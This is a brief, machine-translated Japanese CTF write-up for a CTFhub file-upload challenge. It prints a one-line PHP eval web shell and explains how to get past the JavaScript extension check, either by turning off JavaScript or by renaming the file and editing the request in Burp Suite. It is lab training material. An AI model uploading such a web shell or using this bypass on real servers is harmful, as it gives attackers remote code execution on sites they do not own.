CTFhub-ファイルのアップロード(jsフロントエンド検証)

CTFhub-ファイルのアップロード(jsフロントエンド検証)

1.送信されたトロイの木馬

       文件名为hack.php
<?php @eval($_POST['123']); ?>  

2、2つの方法のアイデア

ファイルをアップロードすると、クライアントのJavaScriptがファイルの種類を確認し、「。jpg」、「。png」、「。gif」のファイルのアップロードのみを許可します。

方法1.jsフロントエンド検証をオフにして、彼が検証しないようにしてから、トロイの木馬の文を直接アップロードできます。
方法2.1文のトロイの木馬のサフィックスを検証で許可されているタイプに変更し、burpsuiteでパッケージをキャプチャした後にパッケージを変更します

3、方法1ステップ

Firefox—about:config(詳細設定)
ここに画像の説明を挿入
—JavaScriptをオフにします。JavaScriptをオフにした後、ファイルのアップロードタイプに制限はありません。hack.phpを
ここに画像の説明を挿入
直接アップロードし、AntSwordまたはハックバーを使用してフラグを取得できます。
ここに画像の説明を挿入

4、方法2ステップ

1文のトロイの木馬hack.phpをhack.jpg
ブラウザ設定プロキシに変更します127.0.0.1:8080burpsuite
は傍受リクエストを開き
ここに画像の説明を挿入
、リクエストパッケージをインターセプトし、hack.jpgのサフィックスをhack.phpに戻し、転送します(転送)
ここに画像の説明を挿入
正常アップロードします。
ここに画像の説明を挿入
旗を手に入れよう...
ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/weixin_46329243/article/details/112990819